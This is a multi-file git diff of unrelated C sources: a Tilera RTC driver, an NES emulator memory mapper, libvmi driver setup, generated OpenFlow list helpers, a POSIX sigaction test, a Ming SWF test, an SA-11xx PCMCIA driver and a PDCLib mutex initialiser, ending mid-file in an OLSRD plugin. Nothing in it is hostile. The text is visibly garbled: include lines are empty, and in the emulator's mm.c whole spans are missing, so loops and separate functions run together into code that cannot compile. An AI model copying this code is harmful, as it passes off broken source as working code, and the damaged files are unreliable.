+1,147 @@ +/* + * Copyright 2011 Tilera Corporation. All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation, version 2. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE, GOOD TITLE or + * NON INFRINGEMENT. See the GNU General Public License for + * more details. + * + * Tilera-specific RTC driver. + */ + +#include +#include +#include +#include + +/* Platform device pointer. */ +static struct platform_device *tile_rtc_platform_device; + +/* + * RTC read routine. Gets time info from RTC chip via hypervisor syscall. + */ +static int read_rtc_time(struct device *dev, struct rtc_time *tm) +{ + HV_RTCTime hvtm = hv_get_rtc(); + + tm->tm_sec = hvtm.tm_sec; + tm->tm_min = hvtm.tm_min; + tm->tm_hour = hvtm.tm_hour; + tm->tm_mday = hvtm.tm_mday; + tm->tm_mon = hvtm.tm_mon; + tm->tm_year = hvtm.tm_year; + tm->tm_wday = 0; + tm->tm_yday = 0; + tm->tm_isdst = 0; + + if (rtc_valid_tm(tm) < 0) + dev_warn(dev, "Read invalid date/time from RTC\n"); + + return 0; +} + +/* + * RTC write routine. Sends time info to hypervisor via syscall, to be + * written to RTC chip. + */ +static int set_rtc_time(struct device *dev, struct rtc_time *tm) +{ + HV_RTCTime hvtm; + + hvtm.tm_sec = tm->tm_sec; + hvtm.tm_min = tm->tm_min; + hvtm.tm_hour = tm->tm_hour; + hvtm.tm_mday = tm->tm_mday; + hvtm.tm_mon = tm->tm_mon; + hvtm.tm_year = tm->tm_year; + + hv_set_rtc(hvtm); + + return 0; +} + +/* + * RTC read/write ops. + */ +static const struct rtc_class_ops tile_rtc_ops = { + .read_time = read_rtc_time, + .set_time = set_rtc_time, +}; + +/* + * Device probe routine. + */ +static int tile_rtc_probe(struct platform_device *dev) +{ + struct rtc_device *rtc; + + rtc = devm_rtc_device_register(&dev->dev, "tile", + &tile_rtc_ops, THIS_MODULE); + + if (IS_ERR(rtc)) + return PTR_ERR(rtc); + + platform_set_drvdata(dev, rtc); + + return 0; +} + +static struct platform_driver tile_rtc_platform_driver = { + .driver = { + .name = "rtc-tile", + .owner = THIS_MODULE, + }, + .probe = tile_rtc_probe, +}; + +/* + * Driver init routine. + */ +static int __init tile_rtc_driver_init(void) +{ + int err; + + err = platform_driver_register(&tile_rtc_platform_driver); + if (err) + return err; + + tile_rtc_platform_device = platform_device_alloc("rtc-tile", 0); + if (tile_rtc_platform_device == NULL) { + err = -ENOMEM; + goto exit_driver_unregister; + } + + err = platform_device_add(tile_rtc_platform_device); + if (err) + goto exit_device_put; + + return 0; + +exit_device_put: + platform_device_put(tile_rtc_platform_device); + +exit_driver_unregister: + platform_driver_unregister(&tile_rtc_platform_driver); + return err; +} + +/* + * Driver cleanup routine. + */ +static void __exit tile_rtc_driver_exit(void) +{ + platform_device_unregister(tile_rtc_platform_device); + platform_driver_unregister(&tile_rtc_platform_driver); +} + +module_init(tile_rtc_driver_init); +module_exit(tile_rtc_driver_exit); + +MODULE_DESCRIPTION("Tilera-specific Real Time Clock Driver"); +MODULE_LICENSE("GPL"); +MODULE_ALIAS("platform:rtc-tile"); diff --git a/pool/shard011/C/0141588_mm.c b/pool/shard011/C/0141588_mm.c new file mode 100644 index 0000000000000000000000000000000000000000..e81adfe0fe7d74c06425129ff2e0d459334f3d14 --- /dev/null +++ b/pool/shard011/C/0141588_mm.c @@ -0,0 +1,176 @@ +/* + * Copyright (C) 2011 Sam Hansen + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see + */ + +#include "mm.h" +#include "memory.h" +#include +#include + +/* + * main memory for Ricoh 2A03 - 65k of addressible/mappable memory + * main memory map: + * [$0100-01FF] Stack Memory + * [$0200-07FF] RAM + * [$0800-0FFF] 1st mirror of low mem \ + * [$1000-17ff] 2nd mirror of low mem | (low mirror) + * [$1800-1FFF] 3rd mirror of low mem / + * [$2000-2007] Register set #1 + * [$2008-3FFF] Register mirrors (high mirror) + * [$4000-401F] Register set #2 + * [$4020-5FFF] Expansion ROM (mapper circuitry) + * [$6000-7FFF] Save RAM (BBU save memory) + * [$8000-FFF9] Program ROM (32k) + * [$FFFA-FFFB] NMI handler (part of program ROM) + * [$FFFC-FFFD] RST handler (part of program ROM) + * [$FFFE-FFFF] BRK handler (part of program ROM) + */ + + + +/* + * tables and structures implementing logical -> system memory mapping. + * struct _mm_info: memory mapping meta deta structure + * mmap_t: lookup table of logical memory -> associated _mm_info struct + * page: the different sets of memory pages + * v_pages: table of variable sized allocated system pages + * + * memory tranlsation is as follows: + * logical address + * -> lookup in the mmap_t the address of the relevant _mm_Info struct + * -> find the address of the associated page and base logical address + * -> offset into the page from the base logical address (see mm_tr_addr()) + */ +struct _mm_info { + uint16_t base; + uint8_t *data; +}; + +struct _mm_info *mm_info(uint16_t base, uint16_t size) { + struct _mm_info *s = malloc(sizeof(struct _mm_info)); + s->data = malloc(size * sizeof(uint8_t)); + s->base = base; + return s; +} + +struct _mm_info *mmap_t[65536]; +enum page {ZP, STACK, RAM, REGSET1, REGSET2, EXROM, SRAM, ROM, CANARY, NUMPAGES}; +struct _mm_info *v_pages[NUMPAGES]; + + + +/* + * the following two procedure set up page allocation bindings in the mmap_t + * mm_table_entry - logical -> page address bindings + * mm_table_mirror - setup a mirrored binding (note that the mirrored to + * address must have an existing valid page binding). + */ +void mm_table_entry(uint16_t offset, uint16_t len, struct _mm_info *entry) { + int i; + for(i=offset; i page allocation bindings + */ + mm_table_entry(ZP_OFFSET, ZP_LEN, v_pages[ZP]); + mm_table_entry(STACK_OFFSET, STACK_LEN, v_pages[STACK]); + mm_table_entry(RAM_OFFSET, RAM_LEN, v_pages[RAM]); + mm_table_entry(REGSET1_OFFSET, REGSET1_LEN, v_pages[REGSET1]); + mm_table_entry(REGSET2_OFFSET, REGSET2_LEN, v_pages[REGSET2]); + mm_table_entry(EXROM_OFFSET, EXROM_LEN, v_pages[EXROM]); + mm_table_entry(SRAM_OFFSET, SRAM_LEN, v_pages[SRAM]); + mm_table_entry(ROM_OFFSET, ROM_LEN, v_pages[ROM]); + + /* + * memory mirrors + */ + mm_table_mirror(MIR_LOW_OFFSET, MIR_LOW_LEN, MIR_LOW_BASE); + mm_table_mirror(MIR_HIGH_OFFSET, MIR_HIGH_LEN, MIR_HIGH_BASE); +} + + + +int mm_shutdown() { + int i; + for(i=0; idata); + free(v_pages[i]); + } + return 0; +} + + + +/* + * look up the memory translation in the mmap lookup table: O(1) translation :D + */ +uint8_t *mm_tr_addr(uint16_t addr) { + return mmap_t[addr]->data + (addr - mmap_t[addr]->base); +} + + + +/* + * we need to traverse the memory translation table for each byte and see what + * system page our byte lives on. + * + * TODO: maybe figure out a non "for loopy" way of doing this... + */ +int mm_write(uint16_t addr, uint8_t *data, int len) { + int i; + for(i=0; i. + */ + +#include +#include + +#include "private.h" +#include "driver/driver_interface.h" + +#ifdef ENABLE_FILE +#include "driver/file/file.h" +#endif + +#ifdef ENABLE_XEN +#include "driver/xen/xen.h" +#endif + +#ifdef ENABLE_KVM +#include "driver/kvm/kvm.h" +#endif + +#ifdef ENABLE_BAREFLANK +#include "driver/bareflank/bareflank.h" +#endif + +status_t driver_init_mode(const char *name, + uint64_t domainid, + uint64_t init_flags, + vmi_init_data_t *init_data, + vmi_mode_t *mode) +{ + unsigned long count = 0; + + /* see what systems are accessable */ +#ifdef ENABLE_XEN + if (VMI_SUCCESS == xen_test(domainid, name, init_flags, init_data)) { + dbprint(VMI_DEBUG_DRIVER, "--found Xen\n"); + *mode = VMI_XEN; + count++; + } +#endif +#ifdef ENABLE_KVM + if (VMI_SUCCESS == kvm_test(domainid, name, init_flags, init_data)) { + dbprint(VMI_DEBUG_DRIVER, "--found KVM\n"); + *mode = VMI_KVM; + count++; + } +#endif +#ifdef ENABLE_FILE + if (VMI_SUCCESS == file_test(domainid, name, init_flags, init_data)) { + dbprint(VMI_DEBUG_DRIVER, "--found file\n"); + *mode = VMI_FILE; + count++; + } +#endif +#ifdef ENABLE_BAREFLANK + if (VMI_SUCCESS == bareflank_test(domainid, name)) { + dbprint(VMI_DEBUG_DRIVER, "--found Bareflank\n"); + *mode = VMI_BAREFLANK; + count++; + } +#endif + + /* if we didn't see exactly one system, report error */ + if (count == 0) { + errprint("Could not find a live guest VM or file to use.\n"); + errprint("Opening a live guest VM requires root access.\n"); + return VMI_FAILURE; + } else if (count > 1) { + errprint + ("Found more than one VMM or file to use,\nplease specify what you want instead of using VMI_AUTO.\n"); + return VMI_FAILURE; + } else { // count == 1 + return VMI_SUCCESS; + } +} + +status_t driver_init(vmi_instance_t vmi, + uint32_t init_flags, + vmi_init_data_t *init_data) +{ + status_t rc = VMI_FAILURE; + if (vmi->driver.initialized) { + errprint("Driver is already initialized.\n"); + return rc; + } + + bzero(&vmi->driver, sizeof(driver_interface_t)); + + switch (vmi->mode) { +#ifdef ENABLE_XEN + case VMI_XEN: + rc = driver_xen_setup(vmi); + break; +#endif +#ifdef ENABLE_KVM + case VMI_KVM: + rc = driver_kvm_setup(vmi); + break; +#endif +#ifdef ENABLE_FILE + case VMI_FILE: + rc = driver_file_setup(vmi); + break; +#endif +#ifdef ENABLE_BAREFLANK + case VMI_BAREFLANK: + rc = driver_bareflank_setup(vmi); + break; +#endif + default: + break; + }; + + if (rc == VMI_SUCCESS && vmi->driver.init_ptr) + rc = vmi->driver.init_ptr(vmi, init_flags, init_data); + + return rc; +} + +status_t driver_init_vmi(vmi_instance_t vmi, + uint32_t init_flags, + vmi_init_data_t *init_data) +{ + status_t rc = VMI_FAILURE; + if (vmi->driver.init_vmi_ptr) + rc = vmi->driver.init_vmi_ptr(vmi, init_flags, init_data); + + return rc; +} + +status_t driver_domainwatch_init(vmi_instance_t vmi, + uint32_t init_flags) +{ + status_t rc = VMI_FAILURE; + if (vmi->driver.domainwatch_init_ptr) + rc = vmi->driver.domainwatch_init_ptr(vmi, init_flags); + + return rc; +} diff --git a/pool/shard011/C/0141590_of_list_bsn_gentable_stats_entry.c b/pool/shard011/C/0141590_of_list_bsn_gentable_stats_entry.c new file mode 100644 index 0000000000000000000000000000000000000000..7beb64d73c51e135da84ef750f042e20e71094c4 --- /dev/null +++ b/pool/shard011/C/0141590_of_list_bsn_gentable_stats_entry.c @@ -0,0 +1,183 @@ +/* Copyright (c) 2008 The Board of Trustees of The Leland Stanford Junior University */ +/* Copyright (c) 2011, 2012 Open Networking Foundation */ +/* Copyright (c) 2012, 2013 Big Switch Networks, Inc. */ +/* See the file LICENSE.loci which should have been included in the source distribution */ +#ifdef __GNUC__ + +#ifdef __linux__ +/* glibc */ +#include +#else +/* NetBSD etc */ +#include +#ifdef __GNUC_PREREQ__ +#define __GNUC_PREREQ __GNUC_PREREQ__ +#endif +#endif + +#ifndef __GNUC_PREREQ +/* fallback */ +#define __GNUC_PREREQ(maj, min) 0 +#endif + +#if __GNUC_PREREQ(4,6) +#pragma GCC diagnostic ignored "-Wunused-but-set-variable" +#endif + +#endif + +#include "loci_log.h" +#include "loci_int.h" + +/** + * Associate an iterator with a list + * @param list The list to iterate over + * @param obj The list entry iteration pointer + * @return OF_ERROR_RANGE if the list is empty (end of list) + * + * The obj instance is completely initialized. The caller is responsible + * for cleaning up any wire buffers associated with obj before this call + */ + +int +of_list_bsn_gentable_stats_entry_first(of_list_bsn_gentable_stats_entry_t *list, of_object_t *obj) +{ + int rv; + + of_bsn_gentable_stats_entry_init(obj, list->version, -1, 1); + + if ((rv = of_list_first(list, obj)) < 0) { + return rv; + } + + + + return rv; +} + +/** + * Advance an iterator to the next element in a list + * @param list The list being iterated + * @param obj The list entry iteration pointer + * @return OF_ERROR_RANGE if already at the last entry on the list + * + */ + +int +of_list_bsn_gentable_stats_entry_next(of_list_bsn_gentable_stats_entry_t *list, of_object_t *obj) +{ + int rv; + + if ((rv = of_list_next(list, obj)) < 0) { + return rv; + } + + + + return rv; +} + +/** + * Set up to append an object of type of_bsn_gentable_stats_entry to an of_list_bsn_gentable_stats_entry. + * @param list The list that is prepared for append + * @param obj Pointer to object to hold data to append + * + * The obj instance is completely initialized. The caller is responsible + * for cleaning up any wire buffers associated with obj before this call. + * + * See the generic documentation for of_list_append_bind. + */ + +int +of_list_bsn_gentable_stats_entry_append_bind(of_list_bsn_gentable_stats_entry_t *list, of_object_t *obj) +{ + return of_list_append_bind(list, obj); +} + +/** + * Append an object to a of_list_bsn_gentable_stats_entry list. + * + * This copies data from obj and leaves item untouched. + * + * See the generic documentation for of_list_append. + */ + +int +of_list_bsn_gentable_stats_entry_append(of_list_bsn_gentable_stats_entry_t *list, of_object_t *obj) +{ + return of_list_append(list, obj); +} + +/** + * \defgroup of_list_bsn_gentable_stats_entry of_list_bsn_gentable_stats_entry + */ + +/** + * Create a new of_list_bsn_gentable_stats_entry object + * + * @param version The wire version to use for the object + * @return Pointer to the newly create object or NULL on error + * + * Initializes the new object with it's default fixed length associating + * a new underlying wire buffer. + * + * \ingroup of_list_bsn_gentable_stats_entry + */ + +of_object_t * +of_list_bsn_gentable_stats_entry_new(of_version_t version) +{ + of_object_t *obj; + int bytes; + + bytes = of_object_fixed_len[version][OF_LIST_BSN_GENTABLE_STATS_ENTRY]; + + if ((obj = of_object_new(OF_WIRE_BUFFER_MAX_LENGTH)) == NULL) { + return NULL; + } + + of_list_bsn_gentable_stats_entry_init(obj, version, bytes, 0); + + return obj; +} + +/** + * Initialize an object of type of_list_bsn_gentable_stats_entry. + * + * @param obj Pointer to the object to initialize + * @param version The wire version to use for the object + * @param bytes How many bytes in the object + * @param clean_wire Boolean: If true, clear the wire object control struct + * + * If bytes < 0, then the default fixed length is used for the object + * + * This is a "coerce" function that sets up the pointers for the + * accessors properly. + * + * If anything other than 0 is passed in for the buffer size, the underlying + * wire buffer will have 'grow' called. + */ + +void +of_list_bsn_gentable_stats_entry_init(of_object_t *obj, + of_version_t version, int bytes, int clean_wire) +{ + LOCI_ASSERT(of_object_fixed_len[version][OF_LIST_BSN_GENTABLE_STATS_ENTRY] >= 0); + if (clean_wire) { + MEMSET(obj, 0, sizeof(*obj)); + } + if (bytes < 0) { + bytes = of_object_fixed_len[version][OF_LIST_BSN_GENTABLE_STATS_ENTRY]; + } + obj->version = version; + obj->length = bytes; + obj->object_id = OF_LIST_BSN_GENTABLE_STATS_ENTRY; + + /* Grow the wire buffer */ + if (obj->wbuf != NULL) { + int tot_bytes; + + tot_bytes = bytes + obj->obj_offset; + of_wire_buffer_grow(obj->wbuf, tot_bytes); + } +} diff --git a/pool/shard011/C/0141591_8-23.c b/pool/shard011/C/0141591_8-23.c new file mode 100644 index 0000000000000000000000000000000000000000..1271d3b9a3af8559421492de156c918990aa014a --- /dev/null +++ b/pool/shard011/C/0141591_8-23.c @@ -0,0 +1,70 @@ +/* + * Copyright (c) 2002-2003, Intel Corporation. All rights reserved. + * Created by: rusty.lynch REMOVE-THIS AT intel DOT com + * This file is licensed under the GPL license. For the full content + * of this license, see the COPYING file at the top level of this + * source tree. + + Test case for assertion #8 of the sigaction system call that verifies + that if signals in the sa_mask (passed in the sigaction struct of the + sigaction function call) are added to the process signal mask during + execution of the signal-catching function. +*/ + +#include +#include +#include +#include +#include +#include "posixtest.h" + +int SIGTRAP_count = 0; + +void SIGTRAP_handler(int signo LTP_ATTRIBUTE_UNUSED) +{ + SIGTRAP_count++; + printf("Caught SIGTRAP\n"); +} + +void SIGURG_handler(int signo LTP_ATTRIBUTE_UNUSED) +{ + printf("Caught SIGURG\n"); + raise(SIGTRAP); + if (SIGTRAP_count) { + printf("Test FAILED\n"); + exit(-1); + } +} + +int main(void) +{ + struct sigaction act; + + act.sa_handler = SIGURG_handler; + act.sa_flags = 0; + sigemptyset(&act.sa_mask); + sigaddset(&act.sa_mask, SIGTRAP); + if (sigaction(SIGURG, &act, 0) == -1) { + perror("Unexpected error while attempting to " + "setup test pre-conditions"); + return PTS_UNRESOLVED; + } + + act.sa_handler = SIGTRAP_handler; + act.sa_flags = 0; + sigemptyset(&act.sa_mask); + if (sigaction(SIGTRAP, &act, 0) == -1) { + perror("Unexpected error while attempting to " + "setup test pre-conditions"); + return PTS_UNRESOLVED; + } + + if (raise(SIGURG) == -1) { + perror("Unexpected error while attempting to " + "setup test pre-conditions"); + return PTS_UNRESOLVED; + } + + printf("Test PASSED\n"); + return PTS_PASS; +} diff --git a/pool/shard011/C/0141592_duplicate_movie_clip_test2.c b/pool/shard011/C/0141592_duplicate_movie_clip_test2.c new file mode 100644 index 0000000000000000000000000000000000000000..572725bc01ac4a034dc4c6485a647a422cef6f36 --- /dev/null +++ b/pool/shard011/C/0141592_duplicate_movie_clip_test2.c @@ -0,0 +1,162 @@ +/* + * Copyright (C) 2005, 2006, 2007, 2009, 2010 Free Software Foundation, Inc. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + * + */ + +/* + * + * movieClips hiberarchy: + * _root (5 frames) + * |----dejagnuclip + * |----mc1 + * | |----mc11 + * |----mc2 + * + * expected behaviour: + * (1)target path is supported in duplicateMovieClip, valid path formats + * are: a.b.c; a/b/c; a/b/c/; a/b/:c; a/b/:c/; /:a/:b/:c(odd); + * (2)the source movie clip should be within the same timeline as the new movie clip. + */ + +#include +#include +#include + +#include "ming_utils.h" + +#define OUTPUT_VERSION 6 +#define OUTPUT_FILENAME "duplicate_movie_clip_test2.swf" + + +int +main(int argc, char** argv) +{ + SWFMovie mo; + SWFMovieClip mc1, mc11, mc2, dejagnuclip; + SWFDisplayItem it1, it11, it2; + + const char *srcdir="."; + if ( argc>1 ) + srcdir=argv[1]; + else + { + fprintf(stderr, "Usage: %s \n", argv[0]); + return 1; + } + + Ming_init(); + mo = newSWFMovieWithVersion(OUTPUT_VERSION); + SWFMovie_setDimension(mo, 800, 600); + SWFMovie_setRate (mo, 12.0); + + dejagnuclip = get_dejagnu_clip((SWFBlock)get_default_font(srcdir), 10, 0, 0, 800, 600); + SWFMovie_add(mo, (SWFBlock)dejagnuclip); + SWFMovie_nextFrame(mo); // 1st frame + + /* add mc1, mc2 to the main movie */ + + mc1 = newSWFMovieClip(); + mc11 = newSWFMovieClip(); + SWFMovieClip_nextFrame(mc11); + it11 = SWFMovieClip_add(mc1, (SWFBlock)mc11); + SWFDisplayItem_setDepth(it11, 10); + SWFDisplayItem_setName(it11, "mc11"); + SWFMovieClip_nextFrame(mc1); + + add_clip_actions(mc1, + "duplicateMovieClip('mc11', 'dup_ch1', 1);" + "_root.check_equals(typeof(dup_ch1), 'movieclip');" + + "duplicateMovieClip('/_root/mc1/mc11', 'dup_ch2', 2);" + "_root.check_equals(typeof(dup_ch2), 'movieclip');" + + "duplicateMovieClip('/:_root/:mc1/:mc11', 'dup_ch3', 3);" + "_root.check_equals(typeof(dup_ch3), 'movieclip');" + + "duplicateMovieClip('mc2', 'dup_ch4', 4);" + // can not duplicate a movie clip in a different time + "_root.check_equals(typeof(dup_ch4), 'undefined');" + + "duplicateMovieClip('/:mc2', 'dup_ch5', 5);" + // can not duplicate a movie clip in a different time + "_root.check_equals(typeof(dup_ch5), 'undefined');" + + // Don't do this, duplicate a self-clip will crash the proprietary player" + // "duplicateMovieClip('/:mc1', 'dup_ch6', 6);" + "stop();" + ); + SWFMovieClip_nextFrame(mc1); + + mc2 = newSWFMovieClip(); + SWFMovieClip_nextFrame(mc2); + + it1 = SWFMovie_add(mo, (SWFBlock)mc1); + it2 = SWFMovie_add(mo, (SWFBlock)mc2); + SWFDisplayItem_setDepth(it1, 10); + SWFDisplayItem_setName(it1, "mc1"); + SWFDisplayItem_setDepth(it2, 20); + SWFDisplayItem_setName(it2, "mc2"); + SWFMovie_nextFrame(mo); // 2nd frame + + + add_actions(mo, "duplicateMovieClip('mc1', 'dup1', 1);"); + check_equals(mo, "typeof(dup1)", "'movieclip'"); + add_actions(mo, "removeMovieClip(dup1);"); + check_equals(mo, "typeof(dup1)", "'undefined'"); + + add_actions(mo, "duplicateMovieClip('/:mc1', 'dup2', 2);"); + check_equals(mo, "typeof(dup2)", "'movieclip'"); + add_actions(mo, "removeMovieClip(dup2);"); + check_equals(mo, "typeof(dup2)", "'undefined'"); + + add_actions(mo, "duplicateMovieClip('/:mc1/', 'dup3', 3);"); + check_equals(mo, "typeof(dup3)", "'movieclip'"); + add_actions(mo, "removeMovieClip(dup3);"); + check_equals(mo, "typeof(dup3)", "'undefined'"); + + add_actions(mo, "duplicateMovieClip('/_root/mc1/', 'dup4', 4);"); + check_equals(mo, "typeof(dup4)", "'movieclip'"); + add_actions(mo, "removeMovieClip(dup4);"); + check_equals(mo, "typeof(dup4)", "'undefined'"); + + add_actions(mo, "duplicateMovieClip('_root.mc1', 'dup5', 5);"); + check_equals(mo, "typeof(dup5)", "'movieclip'"); + add_actions(mo, "removeMovieClip(dup5);"); + check_equals(mo, "typeof(dup5)", "'undefined'"); + + add_actions(mo, "duplicateMovieClip('_root.mc1.mc11', 'dup6', 6);"); + // can not duplicate a movieclip in a different timeline + check_equals(mo, "typeof(dup6)", "'undefined'"); + + add_actions(mo, "duplicateMovieClip('/_root/mc1/:mc11', 'dup7', 7);"); + // can not duplicate a movieclip in a different timeline + check_equals(mo, "typeof(dup7)", "'undefined'"); + + add_actions(mo, "duplicateMovieClip('/_root/mc1/mc11', 'dup8', 8);"); + // can not duplicate a movieclip in a different timeline + check_equals(mo, "typeof(dup8)", "'undefined'"); + SWFMovie_nextFrame(mo); // 3rd frame + + add_actions(mo, " _root.totals(); stop(); "); + SWFMovie_nextFrame(mo); // 4th frame + + //Output movie + puts("Saving " OUTPUT_FILENAME ); + SWFMovie_save(mo, OUTPUT_FILENAME); + + return 0; +} + diff --git a/pool/shard011/C/0141593_sa11xx_base.c b/pool/shard011/C/0141593_sa11xx_base.c new file mode 100644 index 0000000000000000000000000000000000000000..31a7abc55b23a5b3056fc1b7f86756d07d0ee92d --- /dev/null +++ b/pool/shard011/C/0141593_sa11xx_base.c @@ -0,0 +1,199 @@ +/*====================================================================== + + Device driver for the PCMCIA control functionality of StrongARM + SA-1100 microprocessors. + + The contents of this file are subject to the Mozilla Public + License Version 1.1 (the "License"); you may not use this file + except in compliance with the License. You may obtain a copy of + the License at http://www.mozilla.org/MPL/ + + Software distributed under the License is distributed on an "AS + IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or + implied. See the License for the specific language governing + rights and limitations under the License. + + The initial developer of the original code is John G. Dorsey + . Portions created by John G. Dorsey are + Copyright (C) 1999 John G. Dorsey. All Rights Reserved. + + Alternatively, the contents of this file may be used under the + terms of the GNU Public License version 2 (the "GPL"), in which + case the provisions of the GPL are applicable instead of the + above. If you wish to allow the use of your version of this file + only under the terms of the GPL and not to allow others to use + your version of this file under the MPL, indicate your decision + by deleting the provisions above and replace them with the notice + and other provisions required by the GPL. If you do not delete + the provisions above, a recipient may use your version of this + file under either the MPL or the GPL. + +======================================================================*/ + +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#include "soc_common.h" +#include "sa11xx_base.h" + + +/* + * sa1100_pcmcia_default_mecr_timing + * ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * + * Calculate MECR clock wait states for given CPU clock + * speed and command wait state. This function can be over- + * written by a board specific version. + * + * The default is to simply calculate the BS values as specified in + * the INTEL SA1100 development manual + * "Expansion Memory (PCMCIA) Configuration Register (MECR)" + * that's section 10.2.5 in _my_ version of the manual ;) + */ +static unsigned int +sa1100_pcmcia_default_mecr_timing(struct soc_pcmcia_socket *skt, + unsigned int cpu_speed, + unsigned int cmd_time) +{ + return sa1100_pcmcia_mecr_bs(cmd_time, cpu_speed); +} + +/* sa1100_pcmcia_set_mecr() + * ^^^^^^^^^^^^^^^^^^^^^^^^ + * + * set MECR value for socket based on this sockets + * io, mem and attribute space access speed. + * Call board specific BS value calculation to allow boards + * to tweak the BS values. + */ +static int +sa1100_pcmcia_set_mecr(struct soc_pcmcia_socket *skt, unsigned int cpu_clock) +{ + struct soc_pcmcia_timing timing; + u32 mecr, old_mecr; + unsigned long flags; + unsigned int bs_io, bs_mem, bs_attr; + + soc_common_pcmcia_get_timing(skt, &timing); + + bs_io = skt->ops->get_timing(skt, cpu_clock, timing.io); + bs_mem = skt->ops->get_timing(skt, cpu_clock, timing.mem); + bs_attr = skt->ops->get_timing(skt, cpu_clock, timing.attr); + + local_irq_save(flags); + + old_mecr = mecr = MECR; + MECR_FAST_SET(mecr, skt->nr, 0); + MECR_BSIO_SET(mecr, skt->nr, bs_io); + MECR_BSA_SET(mecr, skt->nr, bs_attr); + MECR_BSM_SET(mecr, skt->nr, bs_mem); + if (old_mecr != mecr) + MECR = mecr; + + local_irq_restore(flags); + + debug(skt, 2, "FAST %X BSM %X BSA %X BSIO %X\n", + MECR_FAST_GET(mecr, skt->nr), + MECR_BSM_GET(mecr, skt->nr), MECR_BSA_GET(mecr, skt->nr), + MECR_BSIO_GET(mecr, skt->nr)); + + return 0; +} + +#ifdef CONFIG_CPU_FREQ +static int +sa1100_pcmcia_frequency_change(struct soc_pcmcia_socket *skt, + unsigned long val, + struct cpufreq_freqs *freqs) +{ + switch (val) { + case CPUFREQ_PRECHANGE: + if (freqs->new > freqs->old) + sa1100_pcmcia_set_mecr(skt, freqs->new); + break; + + case CPUFREQ_POSTCHANGE: + if (freqs->new < freqs->old) + sa1100_pcmcia_set_mecr(skt, freqs->new); + break; + case CPUFREQ_RESUMECHANGE: + sa1100_pcmcia_set_mecr(skt, freqs->new); + break; + } + + return 0; +} + +#endif + +static int +sa1100_pcmcia_set_timing(struct soc_pcmcia_socket *skt) +{ + return sa1100_pcmcia_set_mecr(skt, cpufreq_get(0)); +} + +static int +sa1100_pcmcia_show_timing(struct soc_pcmcia_socket *skt, char *buf) +{ + struct soc_pcmcia_timing timing; + unsigned int clock = cpufreq_get(0); + unsigned long mecr = MECR; + char *p = buf; + + soc_common_pcmcia_get_timing(skt, &timing); + + p+=sprintf(p, "I/O : %u (%u)\n", timing.io, + sa1100_pcmcia_cmd_time(clock, MECR_BSIO_GET(mecr, skt->nr))); + + p+=sprintf(p, "attribute: %u (%u)\n", timing.attr, + sa1100_pcmcia_cmd_time(clock, MECR_BSA_GET(mecr, skt->nr))); + + p+=sprintf(p, "common : %u (%u)\n", timing.mem, + sa1100_pcmcia_cmd_time(clock, MECR_BSM_GET(mecr, skt->nr))); + + return p - buf; +} + +int sa11xx_drv_pcmcia_probe(struct device *dev, struct pcmcia_low_level *ops, + int first, int nr) +{ + /* + * set default MECR calculation if the board specific + * code did not specify one... + */ + if (!ops->get_timing) + ops->get_timing = sa1100_pcmcia_default_mecr_timing; + + /* Provide our SA11x0 specific timing routines. */ + ops->set_timing = sa1100_pcmcia_set_timing; + ops->show_timing = sa1100_pcmcia_show_timing; +#ifdef CONFIG_CPU_FREQ + ops->frequency_change = sa1100_pcmcia_frequency_change; +#endif + + return soc_common_drv_pcmcia_probe(dev, ops, first, nr); +} +EXPORT_SYMBOL(sa11xx_drv_pcmcia_probe); + +static int __init sa11xx_pcmcia_init(void) +{ + return 0; +} +fs_initcall(sa11xx_pcmcia_init); + +static void __exit sa11xx_pcmcia_exit(void) {} + +module_exit(sa11xx_pcmcia_exit); + +MODULE_AUTHOR("John Dorsey "); +MODULE_DESCRIPTION("Linux PCMCIA Card Services: SA-11xx core socket driver"); +MODULE_LICENSE("Dual MPL/GPL"); diff --git a/pool/shard011/C/0141594_mtx_init.c b/pool/shard011/C/0141594_mtx_init.c new file mode 100644 index 0000000000000000000000000000000000000000..20615671500d6880cea0f3e7084a7dce77ffaa3f --- /dev/null +++ b/pool/shard011/C/0141594_mtx_init.c @@ -0,0 +1,45 @@ +#ifndef REGTEST +#define _POSIX_C_SOURCE 2008098L +#include +#include + +int mtx_init(mtx_t *mtx, int type) +{ + if(type == mtx_plain || type == mtx_timed) { + if(pthread_mutex_init(mtx, NULL) == 0) + return thrd_success; + else + return thrd_error; + + } else if (type == mtx_recursive || type == (mtx_recursive | mtx_timed)) { + int rc = thrd_error; + pthread_mutexattr_t attr; + + if(pthread_mutexattr_init(&attr)) + goto cleanup1; + + if(pthread_mutexattr_settype(&attr, PTHREAD_MUTEX_RECURSIVE)) + goto cleanup2; + + if(pthread_mutex_init(mtx, &attr) == 0) + rc = thrd_success; + + cleanup2: + pthread_mutexattr_destroy(&attr); + cleanup1: + return rc; + } else { + return thrd_error; + } +} +#endif + +#ifdef TEST +#include "_PDCLIB_test.h" + +int main( void ) +{ + return TEST_RESULTS; +} + +#endif diff --git a/pool/shard011/C/0141595_uplinkGateway.c b/pool/shard011/C/0141595_uplinkGateway.c new file mode 100644 index 0000000000000000000000000000000000000000..4a3296b7c09846e4486044b8415463a2a2f95b8c --- /dev/null +++ b/pool/shard011/C/0141595_uplinkGateway.c @@ -0,0 +1,106 @@ +#include "uplinkGateway.h" + +/* Plugin includes */ + +/* OLSRD includes */ +#include "gateway.h" +#include 